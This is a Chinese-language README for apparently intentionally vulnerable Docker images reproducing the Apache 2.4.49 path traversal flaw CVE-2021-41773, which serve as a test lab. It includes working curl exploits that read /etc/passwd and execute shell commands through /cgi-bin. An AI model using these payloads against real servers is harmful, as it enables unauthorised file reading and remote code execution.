针对 CVE-2021-41773 Apache 路径遍历漏洞的易受攻击的 Docker 镜像

该漏洞仅适用于具有特定非默认配置的 2.4.49 版本。在某些情况下，这可能导致文件读取或代码执行。

https://twitter.com/ptswarm/status/1445376079548624899

易受攻击的文件读取配置

容器可以直接从 Docker Hub 拉取，使用

docker pull blueteamsteve/cve-2021-41773:no-cgid

并执行

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

Apache 日志可通过以下命令查看，或者从上述运行命令中移除 "-dit" 以流式输出 stdio docker logs <container-id>

文件读取的 PoC

curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

易受攻击的 RCE 配置

容器可以直接从 Docker Hub 拉取，使用

docker pull blueteamsteve/cve-2021-41773:with-cgid

并执行

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid

Apache 日志可通过以下命令查看，或者从上述运行命令中移除 "-dit" 以流式输出 stdio docker logs <container-id>

RCE 的 PoC

curl 'localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'

构建自定义 Docker 容器

使用子目录中的 Dockerfile 和模板 httpd.conf 文件修改并构建你自己的版本

• 使用 ./no-cgi 来配置易受文件读取攻击的版本
• 使用 ./with-cgi 来配置易受代码执行攻击的版本